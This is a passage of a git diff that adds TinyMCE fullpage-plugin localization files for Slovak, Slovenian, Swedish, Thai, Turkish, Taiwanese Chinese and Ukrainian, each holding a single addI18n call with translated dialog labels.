Style","base_element":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Base","link_element":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Link","meta_element":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Meta","comment_element":"\u041a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439",src:"Src",language:"\u042f\u0437\u044b\u043a",href:"\u0441\u0441\u044b\u043b\u043a\u0430",target:"\u0426\u0435\u043b\u044c",type:"Type",charset:"\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430",defer:"\u041e\u0442\u0441\u0440\u043e\u0447\u043a\u0430",media:"\u041c\u0435\u0434\u0438\u0430",properties:"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b",name:"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435",value:"\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435",content:"\u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435",rel:"Rel",rev:"Rev",hreflang:"\u042f\u0437\u044b\u043a \u0441\u0441\u044b\u043b\u043a\u0438","general_props":"\u041e\u0431\u0449\u0435\u0435","advanced_props":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/sk_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/sk_dlg.js new file mode 100755 index 0000000..4c7a853 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.fullpage_dlg',{title:"Vlastnosti dokumentu","meta_tab":"Obecn\u00e9","appearance_tab":"Vzh\u013ead","advanced_tab":"Roz\u0161\u00edren\u00e9","meta_props":"Meta inform\u00e1cie",langprops:"Jazyk a k\u00f3dovanie","meta_title":"Titulok","meta_keywords":"K\u013e\u00fa\u010dov\u00e9 slov\u00e1","meta_description":"Popis","meta_robots":"Roboti",doctypes:"Typ dokumentu",langcode:"K\u00f3d jazyka",langdir:"Smer textu",ltr:"Z\u013eava doprava",rtl:"Sprava do\u013eava","xml_pi":"XML deklar\u00e1cia",encoding:"K\u00f3dovanie","appearance_bgprops":"Vlastnosti pozadia","appearance_marginprops":"Okraje tela dokumentu","appearance_linkprops":"Vlastnosti odkazov","appearance_textprops":"Vlastnosti textu",bgcolor:"Farba pozadia",bgimage:"Obr\u00e1zok pozadia","left_margin":"\u013dav\u00fd okraj","right_margin":"Prav\u00fd okraj","top_margin":"Horn\u00fd okraj","bottom_margin":"Doln\u00fd okraj","text_color":"Farba textu","font_size":"Ve\u013ekos\u0165 p\u00edsma","font_face":"Typ p\u00edsma","link_color":"Farba odkazu","hover_color":"Farba vybrat\u00e9ho odkazu","visited_color":"Farba nav\u0161t\u00edven\u00e9ho odkazu","active_color":"Farba akt\u00edvneho odkazu",textcolor:"Farba",fontsize:"Ve\u013ekos\u0165 p\u00edsma",fontface:"Typ p\u00edsma","meta_index_follow":"Indexova\u0165 a n\u00e1sledova\u0165 odkazy","meta_index_nofollow":"Indexova\u0165 a nen\u00e1sledova\u0165 odkazy","meta_noindex_follow":"Neindexova\u0165, ale n\u00e1sledova\u0165 odkazy","meta_noindex_nofollow":"Neindexova\u0165 a nen\u00e1sledova\u0165 odkazy","appearance_style":"Vlastnosti \u0161t\u00fdlov",stylesheet:"\u0160t\u00fdlopis",style:"\u0160t\u00fdl",author:"Autor",copyright:"Autorsk\u00e9 pr\u00e1va",add:"Prida\u0165 nov\u00fd element",remove:"Odstr\u00e1ni\u0165 ozna\u010den\u00fd element",moveup:"Presun\u00fa\u0165 ozna\u010den\u00fd element vy\u0161\u0161ie ",movedown:"Presun\u00fa\u0165 ozna\u010den\u00fd element ni\u017e\u0161ie","head_elements":"Hlavi\u010dky",info:"Inform\u00e1cie","add_title":"Vlo\u017ei\u0165 titulok","add_meta":"Vlo\u017ei\u0165 meta inform\u00e1cie","add_script":"Vlo\u017ei\u0165 skript","add_style":"Vlo\u017ei\u0165 \u0161t\u00fdl","add_link":"Vlo\u017ei\u0165 nezobrazovan\u00fd odkaz","add_base":"Vlo\u017ei\u0165 z\u00e1kladn\u00e9 umiestnenie","add_comment":"Vlo\u017ei\u0165 koment\u00e1r","title_element":"Titulok","script_element":"Skript","style_element":"\u0160t\u00fdl","base_element":"Z\u00e1kladn\u00e9 umiestnenie","link_element":"Nezobrazovan\u00fd odkaz","meta_element":"Meta inform\u00e1cie","comment_element":"Koment\u00e1r",src:"Zdroj",language:"Jazyk",href:"S\u00fabor/URL",target:"Cie\u013e",type:"Typ",charset:"K\u00f3dovanie",defer:"Odlo\u017ei\u0165 (defer)",media:"M\u00e9di\u00e1",properties:"Vlastnosti",name:"N\u00e1zov",value:"Hodnota",content:"Obsah",rel:"Vz\u0165ah str\u00e1nky k cie\u013eu",rev:"Vz\u0165ah cie\u013ea k str\u00e1nke",hreflang:"Jazyk odkazu","general_props":"Obecn\u00e9 parametre","advanced_props":"Roz\u0161\u00edren\u00e9 parametre"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/sl_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/sl_dlg.js new file mode 100755 index 0000000..bb71c20 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.fullpage_dlg',{title:"Lastnosti dokumenta","meta_tab":"Splo\u0161no","appearance_tab":"Izgled","advanced_tab":"Napredno","meta_props":"Meta podatki",langprops:"Jezik in kodiranje","meta_title":"Naslov","meta_keywords":"Klju\u010dne besede","meta_description":"Opis","meta_robots":"Roboti",doctypes:"Doctype",langcode:"Koda jezika",langdir:"Smer pisave",ltr:"Od leve proti desni",rtl:"Od desne proti levi","xml_pi":"Najava XML",encoding:"Kodiranje znakov","appearance_bgprops":"Lastnosti ozadja","appearance_marginprops":"Robovi telesa","appearance_linkprops":"Barve povezav","appearance_textprops":"Lastnosti besedila",bgcolor:"Barva ozadja",bgimage:"Slika ozadja","left_margin":"Levi rob","right_margin":"Desni rob","top_margin":"Zgornji rob","bottom_margin":"Spodnji rob","text_color":"Barva pisave","font_size":"Velikost pisave","font_face":"Vrsta pisave","link_color":"Barva povezave","hover_color":"Barva nakazane povezave","visited_color":"Barva obiskane povezave","active_color":"Barva dejavne povezave",textcolor:"Barva",fontsize:"Velikost pisave",fontface:"Dru\u017eina pisave","meta_index_follow":"Indeksiraj in sledi povezavam","meta_index_nofollow":"Indeksiraj a ne sledi povezavam","meta_noindex_follow":"Ne indeksiraj a sledi pvoezavams","meta_noindex_nofollow":"Ne indeksiraj in ne sledi povezavam","appearance_style":"Lastnosti slogov",stylesheet:"Slogi",style:"Slog",author:"Avtor",copyright:"Copyright",add:"Dodaj element",remove:"Odstrani izbrani element",moveup:"Premakni izbrani element navzgor",movedown:"Premakni izbrani element navzdol","head_elements":"Elementi glave",info:"Informacija","add_title":"element Title","add_meta":"element Meta","add_script":"element Script","add_style":"element Style","add_link":"element Link","add_base":"element Base","add_comment":"komentar","title_element":"element Title","script_element":"element Script","style_element":"element Style","base_element":"element Base","link_element":"element Link","meta_element":"element Meta","comment_element":"komentar",src:"Src",language:"Language",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Lastnosti",name:"ime",value:"vrednost",content:"vsebina",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Splo\u0161no","advanced_props":"Napredno"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/sv_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/sv_dlg.js new file mode 100755 index 0000000..c141b23 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.fullpage_dlg',{title:"Dokumentinst\u00e4llningar","meta_tab":"Generella","appearance_tab":"Utseende","advanced_tab":"Avancerat","meta_props":"Metainformation",langprops:"Spr\u00e5k och kodning","meta_title":"Titel","meta_keywords":"Nyckelord","meta_description":"Bekrivning","meta_robots":"Robots",doctypes:"Doctype",langcode:"Spr\u00e5kkod",langdir:"Skriftriktning",ltr:"V\u00e4nster till h\u00f6ger",rtl:"H\u00f6ger till v\u00e4nster","xml_pi":"XML deklaration",encoding:"Teckenkodning","appearance_bgprops":"Bakgrundsinst\u00e4llningar","appearance_marginprops":"Body marginaler","appearance_linkprops":"L\u00e4nkf\u00e4rger","appearance_textprops":"Textinst\u00e4llningar",bgcolor:"Bakgrundsf\u00e4rg",bgimage:"Bakgrundsbild","left_margin":"V\u00e4nstermarginal","right_margin":"H\u00f6germarginal","top_margin":"Toppmarginal","bottom_margin":"Bottenmarginal","text_color":"Textf\u00e4rg","font_size":"Textstorlek","font_face":"Textstil","link_color":"L\u00e4nkf\u00e4rg","hover_color":"Hover f\u00e4rg","visited_color":"Visited f\u00e4rg","active_color":"Active f\u00e4rg",textcolor:"F\u00e4rg",fontsize:"Textstorlek",fontface:"Textstil","meta_index_follow":"Indexera och f\u00f6lj l\u00e4nkar","meta_index_nofollow":"Indexera men f\u00f6lj ej l\u00e4nkar","meta_noindex_follow":"Indexera inte men f\u00f6lj l\u00e4nkar","meta_noindex_nofollow":"Indexera inte och f\u00f6lj ej l\u00e4nkar","appearance_style":"Stilmall och stilegenskaper",stylesheet:"Stilmall",style:"Stil",author:"F\u00f6rfattare",copyright:"Copyright",add:"L\u00e4gg till element",remove:"Radera det markerade elementet",moveup:"Flytta det markerade elementet upp\u00e5t",movedown:"Flytta det markerade elementet ned\u00e5t","head_elements":"Head element",info:"Information","add_title":"Titel-element","add_meta":"Meta-element","add_script":"Script-element","add_style":"Stil-element","add_link":"L\u00e4nk-element","add_base":"Base-element","add_comment":"Kommentarsnod","title_element":"Titel-element","script_element":"Script-element","style_element":"Style-element","base_element":"Base-element","link_element":"Link-element","meta_element":"Meta-element","comment_element":"Comment-element",src:"Src",language:"Spr\u00e5k",href:"Href",target:"M\u00e5l",type:"Typ",charset:"Teckenupps\u00e4ttning",defer:"Defer",media:"Media",properties:"Egenskaper",name:"Name",value:"Value",content:"Inneh\u00e5ll",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Generellt","advanced_props":"Avancerat"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/th_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/th_dlg.js new file mode 100755 index 0000000..2200f9a --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.fullpage_dlg',{title:"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23","meta_tab":"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","appearance_tab":"\u0e23\u0e39\u0e1b\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c","advanced_tab":"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07","meta_props":"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14\u0e40\u0e21\u0e15\u0e49\u0e32",langprops:"\u0e20\u0e32\u0e29\u0e32 \u0e41\u0e25\u0e30 \u0e01\u0e32\u0e23\u0e40\u0e02\u0e49\u0e32\u0e23\u0e2b\u0e31\u0e2a","meta_title":"\u0e0a\u0e37\u0e48\u0e2d","meta_keywords":"\u0e04\u0e33\u0e2a\u0e33\u0e04\u0e31\u0e0d","meta_description":"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14","meta_robots":"Robots",doctypes:"Doctype",langcode:"\u0e42\u0e04\u0e4a\u0e14\u0e20\u0e32\u0e29\u0e32",langdir:"\u0e17\u0e34\u0e28\u0e17\u0e32\u0e07\u0e01\u0e32\u0e23\u0e2d\u0e48\u0e32\u0e19",ltr:"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32",rtl:"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22","xml_pi":"XML declaration",encoding:"Character encoding","appearance_bgprops":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07","appearance_marginprops":"Body margins","appearance_linkprops":"\u0e2a\u0e35\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","appearance_textprops":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",bgcolor:"\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07 color",bgimage:"\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07 image","left_margin":"\u0e02\u0e2d\u0e1a\u0e0b\u0e49\u0e32\u0e22","right_margin":"\u0e02\u0e2d\u0e1a\u0e02\u0e27\u0e32","top_margin":"\u0e02\u0e2d\u0e1a\u0e1a\u0e21","bottom_margin":"\u0e02\u0e2d\u0e1a\u0e25\u0e48\u0e32\u0e07","text_color":"\u0e2a\u0e35\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21","font_size":"\u0e02\u0e19\u0e32\u0e14\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23","font_face":"\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23","link_color":"\u0e2a\u0e35\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","hover_color":"Hover color","visited_color":"Visited color","active_color":"Active color",textcolor:"\u0e2a\u0e35",fontsize:"\u0e02\u0e19\u0e32\u0e14\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23",fontface:"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e15\u0e31\u0e27\u0e2d\u0e01\u0e29\u0e23","meta_index_follow":"Index and follow the \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4cs","meta_index_nofollow":"Index and don\'t follow the \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4cs","meta_noindex_follow":"Do not index but follow the \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4cs","meta_noindex_nofollow":"Do not index and don\\\'t follow the \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4cs","appearance_style":"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1asheet and style properties",stylesheet:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1asheet",style:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",author:"Author",copyright:"Copyright",add:"Add new element",remove:"Remove selected element",moveup:"Move selected element up",movedown:"Move selected element down","head_elements":"Head elements",info:"Information","add_title":"\u0e0a\u0e37\u0e48\u0e2d element","add_meta":"Meta element","add_script":"Script element","add_style":"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a element","add_link":"Link element","add_base":"Base element","add_comment":"Comment node","title_element":"\u0e0a\u0e37\u0e48\u0e2d element","script_element":"Script element","style_element":"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a element","base_element":"Base element","link_element":"Link element","meta_element":"Meta element","comment_element":"Comment",src:"Src",language:"\u0e20\u0e32\u0e29\u0e32",href:"Href",target:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","advanced_props":"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/tr_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/tr_dlg.js new file mode 100755 index 0000000..8f2a44b --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.fullpage_dlg',{title:"Belge \u00f6zellikleri","meta_tab":"Genel","appearance_tab":"G\u00f6r\u00fcn\u00fcm","advanced_tab":"Geli\u015fmi\u015f","meta_props":"Meta bilgisi",langprops:"Dil ve kodlama","meta_title":"Ba\u015fl\u0131k","meta_keywords":"Anahtar kelimeler","meta_description":"A\u00e7\u0131klama","meta_robots":"Robotlar",doctypes:"Belge tipi",langcode:"Dil kodu",langdir:"Dil y\u00f6n\u00fc",ltr:"Sa\u011fdan sola",rtl:"Soldan sa\u011fa","xml_pi":"XML tan\u0131m\u0131",encoding:"Karakter kodlamas\u0131","appearance_bgprops":"Arkaplan \u00f6zellikleri","appearance_marginprops":"G\u00f6vde bo\u015fluklar\u0131","appearance_linkprops":"Ba\u011flant\u0131 renkleri","appearance_textprops":"Metin \u00f6zellikleri",bgcolor:"Arkaplan rengi",bgimage:"Arkaplan resmi","left_margin":"Sol bo\u015fluk","right_margin":"Sa\u011f bo\u015fluk","top_margin":"\u00dcst bo\u015fluk","bottom_margin":"Alt bo\u015fluk","text_color":"Metin rengi","font_size":"Yaz\u0131 boyutu","font_face":"Yaz\u0131 tipi","link_color":"Ba\u011flant\u0131 rengi","hover_color":"Fare \u00fcst\u00fcnde rengi","visited_color":"Ziyaret edilmi\u015f ba\u011flant\u0131 rengi","active_color":"Ge\u00e7erli renk",textcolor:"Renk",fontsize:"Yaz\u0131 boyutu",fontface:"Yaz\u0131 tipi","meta_index_follow":"\u0130ndeksle ve ba\u011flant\u0131lar\u0131 izle.","meta_index_nofollow":"\u0130ndeksle ve ba\u011flant\u0131lar\u0131 izleme.","meta_noindex_follow":"\u0130ndeksleme ama ba\u011flant\u0131lar\u0131 izle.","meta_noindex_nofollow":"\u0130ndeksleme ve ba\u011flant\u0131lar\u0131 izleme.","appearance_style":"Stil ve stil sayfas\u0131 \u00f6zellikleri",stylesheet:"Stil sayfas\u0131",style:"Stil",author:"Yazar",copyright:"Telik hakk\u0131",add:"Yeni nesne ekle",remove:"Se\u00e7ili nesneyi kald\u0131r",moveup:"Se\u00e7ili nesneyi yukar\u0131 ta\u015f\u0131",movedown:"Se\u00e7ili nesneyi a\u015fa\u011f\u0131 ta\u015f\u0131","head_elements":"Ba\u015fl\u0131k nesneleri",info:"Bilgi","add_title":"Ba\u015fl\u0131k nesnesi","add_meta":"Meta nesnesi","add_script":"Script nesnesi","add_style":"Stil nesnesi","add_link":"Ba\u011flant\u0131 nesnesi","add_base":"Temel nesne","add_comment":"Yorum d\u00fc\u011f\u00fcm\u00fc","title_element":"Ba\u015fl\u0131k nesnesi","script_element":"Script nesnesi","style_element":"Stil nesnesi","base_element":"Temel nesne","link_element":"Ba\u011flant\u0131 nesnesi","meta_element":"Meta nesnesi","comment_element":"Yorum",src:"Src",language:"Dil",href:"Href",target:"Hedef",type:"Tip",charset:"Karakter seti",defer:"Erteleme",media:"Medya",properties:"\u00d6zellikler",name:"\u0130sim",value:"De\u011fer",content:"\u0130\u00e7erik",rel:"Rel",rev:"Rev",hreflang:"Href dili","general_props":"Genel","advanced_props":"Geli\u015fmi\u015f"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/tw_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/tw_dlg.js new file mode 100755 index 0000000..25aa134 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.fullpage_dlg',{title:"\u6a94\u6848\u5c6c\u6027","meta_tab":"\u6a19\u6e96","appearance_tab":"\u5916\u89c0","advanced_tab":"\u9032\u968e","meta_props":"Mata\u8a0a\u606f",langprops:"\u8a9e\u8a00\u548c\u7de8\u78bc","meta_title":"\u6a19\u984c","meta_keywords":"\u95dc\u9375\u5b57","meta_description":"\u8aaa\u660e","meta_robots":"Robots",doctypes:"DocType",langcode:"\u6587\u5b57\u7de8\u78bc",langdir:"\u6587\u5b57\u66f8\u5beb\u65b9\u5411",ltr:"\u5f9e\u5de6\u5230\u53f3",rtl:"\u5f9e\u53f3\u5230\u5de6","xml_pi":"XML\u8072\u660e",encoding:"\u5b57\u5143\u7de8\u78bc","appearance_bgprops":"\u80cc\u666f\u984f\u8272","appearance_marginprops":"\u908a\u8ddd","appearance_linkprops":"\u8d85\u9023\u7d50\u984f\u8272","appearance_textprops":"\u6587\u5b57\u5c6c\u6027",bgcolor:"\u80cc\u666f\u984f\u8272",bgimage:"\u80cc\u666f\u5716\u7247","left_margin":"\u5de6\u908a\u8ddd","right_margin":"\u53f3\u908a\u8ddd","top_margin":"\u4e0a\u908a\u8ddd","bottom_margin":"\u4e0b\u908a\u8ddd","text_color":"\u6587\u5b57\u984f\u8272","font_size":"\u6587\u5b57\u5927\u5c0f","font_face":"\u5b57\u9ad4","link_color":"\u8d85\u9023\u7d50\u984f\u8272","hover_color":"Hover \u984f\u8272","visited_color":"Visited \u984f\u8272","active_color":"Active \u984f\u8272",textcolor:"\u984f\u8272",fontsize:"\u6587\u5b57\u5927\u5c0f",fontface:"\u5b57\u9ad4","meta_index_follow":"\u7d22\u5f15\u4e26\u9023\u7d50","meta_index_nofollow":"\u7d22\u5f15\u4f46\u4e0d\u9023\u7d50","meta_noindex_follow":"\u4e0d\u7d22\u5f15\u4f46\u9023\u7d50","meta_noindex_nofollow":"\u4e0d\u7d22\u5f15\u4e5f\u4e0d\u9023\u7d50","appearance_style":"\u6a23\u5f0f\u5217\u8868\u8207\u6a23\u5f0f\u5c6c\u6027",stylesheet:"\u6a23\u5f0f\u5217\u8868",style:"\u6a23\u5f0f",author:"\u4f5c\u8005",copyright:"\u7248\u6b0a\u8072\u660e",add:"\u65b0\u589e\u5143\u7d20",remove:"\u522a\u9664\u9078\u64c7\u5143\u7d20",moveup:"\u4e0a\u79fb\u9078\u64c7\u5143\u7d20",movedown:"\u4e0b\u79fb\u9078\u64c7\u5143\u7d20","head_elements":"Head \u5143\u7d20",info:"\u8cc7\u8a0a","add_title":"Title \u5143\u7d20","add_meta":"Meta \u5143\u7d20","add_script":"Script \u5143\u7d20","add_style":"Style \u5143\u7d20","add_link":"Link \u5143\u7d20","add_base":"Base \u5143\u7d20","add_comment":"\u8a3b\u91cb","title_element":"Title \u5143\u7d20","script_element":"Script \u5143\u7d20","style_element":"Style \u5143\u7d20","base_element":"Base \u5143\u7d20","link_element":"Link \u5143\u7d20","meta_element":"Meta \u5143\u7d20","comment_element":"\u8a3b\u91cb",src:"src",language:"\u8a9e\u8a00",href:"href",target:"\u76ee\u6a19",type:"\u985e\u578b",charset:"\u5b57\u5143\u96c6",defer:"Defer",media:"\u5f71\u7247",properties:"\u5c6c\u6027",name:"\u540d\u7a31",value:"\u503c",content:"\u5167\u5bb9",rel:"rel",rev:"rev",hreflang:"href lang","general_props":"\u4e00\u822c","advanced_props":"\u9032\u968e"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/uk_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/uk_dlg.js new file mode 100755 index 0000000..f1e6a7f --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.fullpage_dlg',{title:"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430","meta_tab":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435","appearance_tab":"\u0412\u0438\u0433\u043b\u044f\u0434","advanced_tab":"\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e","meta_props":"\u041c\u0435\u0442\u0430 \u0456\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0456\u044f",langprops:"\u041c\u043e\u0432\u0430 \u0442\u0430 \u043a\u043e\u0434\u0443\u0432\u0430\u043d\u043d\u044f","meta_title":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a","meta_keywords":"\u041a\u043b\u044e\u0447\u043e\u0432\u0456 \u0441\u043b\u043e\u0432\u0430","meta_description":"\u041e\u043f\u0438\u0441","meta_robots":"\u0420\u043e\u0431\u043e\u0442\u0438",doctypes:"Doctype",langcode:"\u041a\u043e\u0434 \u043c\u043e\u0432\u0438",langdir:"\u041d\u0430\u043f\u0440\u044f\u043c \u043c\u043e\u0432\u0438",ltr:"\u0417\u043b\u0456\u0432\u0430 \u043f\u0440\u0430\u0432\u043e\u0440\u0443\u0447",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043b\u0456\u0432\u043e\u0440\u0443\u0447","xml_pi":"\u041e\u0431\'\u044f\u0432\u043b\u0435\u043d\u043d\u044f XML",encoding:"\u041a\u043e\u0434\u0443\u0432\u0430\u043d\u043d\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0456\u0432","appearance_bgprops":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0444\u043e\u043d\u0443","appearance_marginprops":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f\u0438","appearance_linkprops":"\u041a\u043e\u043b\u0456\u0440 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u044c","appearance_textprops":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0442\u0435\u043a\u0441\u0442\u0443",bgcolor:"\u041a\u043e\u043b\u0456\u0440 \u0444\u043e\u043d\u0443",bgimage:"\u0424\u043e\u043d\u043e\u0432\u0435 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","left_margin":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f \u0437\u043b\u0456\u0432\u0430","right_margin":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f \u0441\u043f\u0440\u0430\u0432\u0430","top_margin":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f \u0437\u0432\u0435\u0440\u0445\u0443","bottom_margin":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f \u0437\u043d\u0438\u0437\u0443","text_color":"\u041a\u043e\u043b\u0456\u0440 \u0442\u0435\u043a\u0441\u0442\u0443","font_size":"\u0420\u043e\u0437\u043c\u0456\u0440 \u0448\u0440\u0438\u0444\u0442\u0430","font_face":"\u0428\u0440\u0438\u0444\u0442","link_color":"\u041a\u043e\u043b\u0456\u0440 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","hover_color":"\u041a\u043e\u043b\u0456\u0440 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043f\u0440\u0438 \u043d\u0430\u0432\u0435\u0434\u0435\u043d\u043d\u0456","visited_color":"\u041a\u043e\u043b\u0456\u0440 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043f\u0440\u0438 \u043d\u0430\u0442\u0438\u0441\u043d\u0435\u043d\u043d\u0456","active_color":"\u041a\u043e\u043b\u0456\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",textcolor:"\u041a\u043e\u043b\u0456\u0440",fontsize:"\u0420\u043e\u0437\u043c\u0456\u0440 \u0448\u0440\u0438\u0444\u0442\u0430",fontface:"\u0421\u0456\u043c\u0435\u0439\u0441\u0442\u0432\u043e \u0448\u0440\u0438\u0444\u0442\u0430","meta_index_follow":"\u0406\u043d\u0434\u0435\u043a\u0441\u0443\u0432\u0430\u0442\u0438 \u0456 \u0439\u0442\u0438 \u0437\u0430 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f\u043c\u0438","meta_index_nofollow":"\u0406\u043d\u0434\u0435\u043a\u0441\u0443\u0432\u0430\u0442\u0438 \u0456 \u043d\u0435 \u0439\u0442\u0438 \u0437\u0430 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f\u043c\u0438","meta_noindex_follow":"\u041d\u0435 \u0456\u043d\u0434\u0435\u043a\u0441\u0443\u0432\u0430\u0442\u0438, \u0430\u043b\u0435 \u0439\u0442\u0438 \u0437\u0430 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f\u043c\u0438","meta_noindex_nofollow":"\u041d\u0435 \u0456\u043d\u0434\u0435\u043a\u0441\u0443\u0432\u0430\u0442\u0438 \u0456 \u043d\u0435 \u0439\u0442\u0438 \u0437\u0430 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f\u043c\u0438","appearance_style":"\u0422\u0430\u0431\u043b\u0438\u0446\u044f \u0441\u0442\u0438\u043b\u044e \u0442\u0430 \u0432\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0441\u0442\u0438\u043b\u044e",stylesheet:"\u0422\u0430\u0431\u043b\u0438\u0446\u044f \u0441\u0442\u0438\u043b\u044e",style:"\u0421\u0442\u0438\u043b\u044c",author:"\u0410\u0432\u0442\u043e\u0440",copyright:"\u0410\u0432\u0442\u043e\u0440\u0441\u044c\u043a\u0435 \u043f\u0440\u0430\u0432\u043e",add:"\u0414\u043e\u0434\u0430\u0442\u0438 \u043d\u043e\u0432\u0438\u0439 \u0435\u043b\u0435\u043c\u0435\u043d\u0442",remove:"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u0432\u0438\u0434\u0456\u043b\u0435\u043d\u0438\u0439 